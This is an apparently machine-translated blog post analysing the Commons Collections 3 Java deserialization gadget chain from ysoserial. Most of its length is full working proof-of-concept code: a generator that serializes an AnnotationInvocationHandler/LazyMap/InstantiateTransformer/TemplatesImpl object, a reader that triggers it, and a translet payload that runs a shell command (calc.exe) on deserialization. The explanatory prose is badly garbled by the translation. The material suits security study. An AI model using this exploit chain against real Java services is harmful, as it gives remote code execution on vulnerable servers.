Preface:
This article analyzes commoncollections3, the use of this chain yso as described, and the cc1 similar, but the reflection is not calling method using a invokeTransformer and InstantiateTransformer, the call processing as FIG.
Use chain analysis:
Shown, the entry point or above Annotationinvoationhandler of FIG Entryset
At this time it will be called membervalues.get, wherein var4 entrySet bits, and stored in an instance membervalues lazymap class, i.e. get function call lazymap
That in turn calls chainedTransformer to convert on key
Wherein iTransformer stored in addition to the direct return constantTransformer class, the class is used herein class com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
InstantiateTransformer next to the transformer function, there will get a constructor parameter corresponding to the type of input classes as templates, and then instantiate
Then with all the way to the constructor TrAXFilter, you can see here is actually called templates.newTransformer, then we can know templatesImpl by _bytecode
The next process is not in the narrative, is the use of templates class
yso structural analysis:
When the payload configuration yso here, constantTransformer returns TrAxFilter class, and then combine the transform function can get instantiateTransformer constructor parameter entry, then instantiated, the instance of the procedure call
TrAxFilter constructor to invoke templates.newTransformer
exp:
exp.java
package CommonCollections3; import javassist.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.functors.InstantiateTransformer; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; // //@Dependencies({"commons-collections:commons-collections:3.1"}) // public class exp { public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, NotFoundException, IOException, CannotCompileException { // //构造Templates对象 // TemplatesImpl tmp = new TemplatesImpl(); //rce代码块的对象 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(payload.class)); CtClass pay = pool.get(payload.class.getName()); byte[] PayCode = pay.toBytecode(); Class clazz; clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field tf = clazz.getDeclaredField("_bytecodes"); tf.setAccessible(true); tf.set(tmp,new byte[][]{PayCode}); Field name = clazz.getDeclaredField("_name"); name.setAccessible(true); name.set(tmp,"tr1ple"); HashMap InnerMap = new HashMap(); Transformer[] trans = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{tmp} ) }; ChainedTransformer chined = new ChainedTransformer(trans); Map outmap = LazyMap.decorate(InnerMap,chined); final Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; con.setAccessible(true); InvocationHandler han = (InvocationHandler)con.newInstance(Override.class,outmap); Map proxy = (Map) Proxy.newProxyInstance(exp.class.getClassLoader(),outmap.getClass().getInterfaces(),han); //外层装proxy代理 final Constructor out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; out_con.setAccessible(true); InvocationHandler out_han = (InvocationHandler) out_con.newInstance(Override.class,proxy); //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser"); FileOutputStream fo = new FileOutputStream(file); ObjectOutputStream ObjOut = new ObjectOutputStream(fo); ObjOut.writeObject(out_han); } }
readobj.java
package CommonCollections3; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.lang.Runtime; public class readObj { public static void main(String[] args) { File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser"); try { ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file)); obj.readObject(); obj.close(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } }
payload.java
package CommonCollections3; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class payload extends AbstractTranslet { { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } public payload(){ System.out.println("tr1ple 2333"); } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
这条利用链也是受jdk版本影响的,相较于cc2有局限性,和cc1相类似,外层包装相同,只是内部chained转换链变化了